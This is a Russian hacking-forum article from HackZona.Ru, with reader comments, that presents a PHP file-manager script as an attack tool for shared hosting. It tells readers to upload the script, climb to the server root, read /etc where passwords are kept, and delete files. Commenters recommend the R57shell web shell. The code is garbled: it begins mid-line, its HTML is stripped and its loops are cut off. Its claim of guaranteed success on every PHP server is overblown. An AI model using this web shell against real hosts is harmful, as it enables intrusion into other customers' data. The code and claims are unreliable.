Взлом через PHP-скрипт — HackZona.Ru

Взлом через PHP-скрипт

Взлом через PHP-скрипт

Тип статьи:
Со старой ХакЗоны.
Источник:
Данная атака на сервер проходит со 100% гарантией. Для успешной атаки взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, тоесть изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую хакер собирается взломать.
В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов.
Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов:
inode == $b->inode )
return 0;

switch( $sort ) //объявляем, что по каким функциям будет сортироваться
{
case «size»:
return ($a->size > $b->size)? -1: 1;
case «type»:
return strcmp($a->type, $b->type);
case «view»:
return strcmp($a->view, $b->view);
case «atime»:
return ($a->atime > $b->atime)? -1: 1;
case «ctime»:
return ($a->ctime > $b->ctime)? -1: 1;
case «mtime»:
return ($a->mtime > $b->mtime)? -1: 1;
case «group»:
return strcmp($a->group, $b->group);
case «inode»:
return ($a->inode > $b->inode)? -1: 1;
case «owner»:
return strcmp($a->owner, $b->owner);
case «perms»:
return ($a->perms > $b->perms)? -1: 1;
case «ext»:
return strcmp($a->ext, $b->ext);
case «name»:
default:
return 1;
}
}

function getIcons( $ext ) //объявляем функцию сопоставления иконки с типом файла
{
switch( $ext )
{
case «dir»:
$file = «dir»;
break;
case «link»:
$file = «link»;
break;
case «zip»:
case «tgz»:
case «gz»:
case «Z»:
$file = «compressed»;
break;
case «gif»:
case «jpg»:
$file = «image2»;
break;
case «dvi»:
$file = «dvi»;
break;
case "":
case «exe»:
$file = «binary»;
break;
case «sh»:
case «php»:
case «php3»:
case «sql»:
case «inc»:
case «js»:
$file = «script»;
break;
case «txt»:
$file = «text»;
break;
case «html»:
case «shtml»:
case «phtml»:
$file = «world1»;
break;
default:
$file = «generic»;
break;
}

return $IMG="";
}

class MyFile { //объявляем какие данные будут получены
var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;

function set( $filename, $path )
{
GLOBAL $cd; //объявляем функции перехода по каталогам

$this->name = $filename;
$this->path = $path;
$this->file = $this->path."/".$this->name;

$this->type = filetype( $this->file );
$this->size = filesize( $this->file );
$this->atime = fileatime( $this->file );
$this->ctime = filectime( $this->file );
$this->mtime = filemtime( $this->file );
$this->group = filegroup( $this->file );
$this->inode = fileinode( $this->file );
$this->owner = fileowner( $this->file );
$this->perms = fileperms( $this->file );

switch( $this->type )
{
case «link»:
$this->sfile = readlink( $this->file );
$this->stype = filetype( $this->sfile );
$this->ext = «link»;
break;
case «file»:
$list = explode( ".", $this->name );
$nb = sizeof( $list );
if( $nb > 0 )
$this->stype = $list[$nb-1];
else
$this->stype = "???";

$this->ext = $this->stype;

switch( $this->stype )
{
case «gif»:
case «GIF»:
case «jpg»:
case «JPG»:
if( isset( $cd ) )
$pwd = $cd."/";
else
$pwd = "";

$this->sfile = «file.»'>";
break;
default:
$this->sfile = $this->stype;
break;
}
break;
default:
$this->stype = "";
$this->sfile = "";
$this->ext = $this->type;
break;
}
}

function formatSize()
{
return number_format( $this->size, 0, ".", " ");
}
}

function genUrl( $ref, $args, $key = "", $val = "" )

{
$valist = "";

reset( $args );

if( $key != "" )
$args[ "$key" ] = $val;

if( !is_array( $args ) )
return $ref;

while( list( $key, $val ) = each( $args ) )
{
if( $val == "" )
continue;

if( $valist == "" )
$valist .= "?";
else
$valist .= "&";

$valist .= $key."=".$val;
}
return $ref.$valist;
}

function updir( $path )
{
$last = strrchr( $path, "/" );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 );
}

$ref = «dir.php»;

if( isset( $cd ) )
{
$path = $cd;
//$lcd = "?cd=$cd'";
$args[ «cd» ] = $cd;
}
else
{
$path = ".";
//$lcd = "";
$args[ «cd» ] = "";
}

if( isset( $nb ) )
{
for( $i = 0; $i $file успешно удалён"; //сообщение об успешном удалении файла
else
echo "
Не могу удалить выставите права доступа $file"; //сообщение о невозможности удалить файл который доступен только для чтения
}
elseif( is_dir( $file ) )
{
if( rmdir( $file ) )
echo "
$file успешно удалён"; //сообщение об успешном удалении
else
echo "
файл недоступен для удаления$file"; //сообщение о невозможности удалить файл
}
}
}
}

$step = 100;

if( !isset( $sort ) )
$sort = «name»;
else
$args[ «sort» ] = $sort;

if( !isset( $from ) )
$from = 0;
else
$args[ «from» ] = $from;

if( !isset( $to ) )
$to = $from + $step;

$d = dir($path);
echo "";
echo "
Вернуться в начало"; //ссылка на возврат в домашнею директорию скрипта
$updir = updir($d->path);
if( $updir != "." )
echo "
Подняться на директорию вверх; $updir"; //ссылка на директорию вверх
echo "
Открыть директорию: path."/..>.."; //обновление текущей директории
echo "
Текущая директория: ".$d->path.""; //показываем путь до директории и файлов, которые в ней находятся

$n = 0;
while( $entry=$d->read() )
{
$lFiles[ $n ] = new MyFile;
$lFiles[ $n ]->set( $entry, $path );
$n++;
}

$d->close(); //создаём HTML форму управления функциями
echo "";
echo "";
echo "";
echo «D»;
//echo "Type";
echo "Имя";
echo "Размер";
echo "Класс";
echo "В системе";
echo "Создан";
echo "Изменён";
echo "Размер";
echo "Группа";
echo "ow";
echo "in";
echo «Показ»;
echo "";

@usort( $lFiles, cmp );

for( $i = 0; $i = $to ) )
continue;

$k = $i;
echo "";
echo «name
.»'>";

$IMG=getIcons( $lFiles[ $k ]->ext );

$dform = «M j y H:i»;
// echo "".$lFiles[ $k ]->type."";
echo "$IMG".$lFiles[ $k ]->name."";
echo "".$lFiles[ $k ]->formatSize()."";
echo "".$lFiles[ $k ]->ext ."";
echo "".date( $dform, $lFiles[ $k ]->atime )."";
echo "".date( $dform, $lFiles[ $k ]->ctime )."";
echo "".date( $dform, $lFiles[ $k ]->mtime )."";
echo "".$lFiles[ $k ]->perms."";
echo "".$lFiles[ $k ]->group."";
echo "".$lFiles[ $k ]->owner."";
echo "".$lFiles[ $k ]->inode."";

switch( $lFiles[ $k ]->type )
{
case «link»:
if( $lFiles[ $k ]->stype == «dir» )
{
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "".
$lFiles[ $k ]->sfile."";
}
else
echo "".$lFiles[ $k ]->sfile."";
break;
case «dir»:
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "".
$lFiles[ $k ]->name."";
break;
case «file»:
echo "".$lFiles[ $k ]->sfile."";
break;
default:
echo «NO»;
break;
}
echo "";
}

echo "";

$from = $from — $step;
if( isset( $cd ) )
{
echo "";
}
echo "";

//echo "
from=$from;to=$to;n=$n";
echo "
";
if( $from >= 0 )
{
echo "Предыдущий/";
}
if( $to Далее ";
}
echo "
";
echo "";
echo "";
?> //говорим что PHP скрипт кончился


Вот реализация скрипта, который позволяет вам получить доступ в каталоги провайдера, содержащиеся у него на винчестере. Потенциальная опасность применения данного скрипта в том, что злоумышленник получает практически всю информацию о сервере, также злоумышленник получает доступ к папки etc, где хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости было выявлено, что все сервера, на которых разрешён запуск PHP оказались подвержены данной атаке. Скрипт помещяется на сервер провайдера, где вам разрешен запуск PHP скриптов, в директорию домашней странички. По умолчанию скрипт просматривает все находящиеся файлы в той директории, куда он был загружен для того, чтобы попасть в корневой каталог сервера жмите на ссылку «Подняться на каталог выше» до тех пор, пока вы не увидите корневой каталог сервера. При выходе из вашей директории скрипт возможно сообщит вам о невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и жмите на ссылку «Подняться на каталог вверх», скрипт передаст данные серверу о том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас пропустят.
Нравится
Не нравится

15 комментариев

22:30
И ваше полностю етот скрипт в таких ошибках 2 мин исправления
22:22
Ошибка- в место етого ----->

echo "
Текущая директория: ".$d->path." "; //показываем путь до директории и файлов, которые в ней находятся

Это---------------->

echo '
Текущая директория: ".$d->path." '; //показываем путь до директории и файлов, которые в ней находятся
17:40
Я что-то недопонял - почему это надо чтобы было ".$d->path." '; ? И почему вместо echo " должно быть echo ' ?
03:41
Я вот хотел бы узнать - каким образом мы поднимемся выше директории Document Root?
00:13
Однако ошибок тут немеряно :))
22:20
а скажите где ето все писать????? куда надо зайти?????????
08:02
подскажите где все это писать!?
19:26
DanxilL и savchenko учите сначала PHP
13:03
.htaccess sлышали о таком?
00:27
ууух ну и ошибок тут, начал было исправлять, но ничё не вышло поэтому забил
07:57
Блин,не сначала чето:(
Все с inode == $b->inode ) начинается:(
16:25
А ещё лучше взять проверенный пхп шэлл (R57shell),и не мучаться с ошибками!
03:59
не пашет(
00:36
Если автор сам писал статью, то писал ее для людей знающих пхп....так как, знающему человеку ничего не стоит исправить допущенные (!!!специально!!!) ошибки, а ламер- испугается и убежит.....
xDDDDDDDDDDDDDDDDDDDDDDDD
10:44
каждый пользуется своим инструментом, так что ни че не поделаешь, надо юзать все, от "А" до "0"!!! XD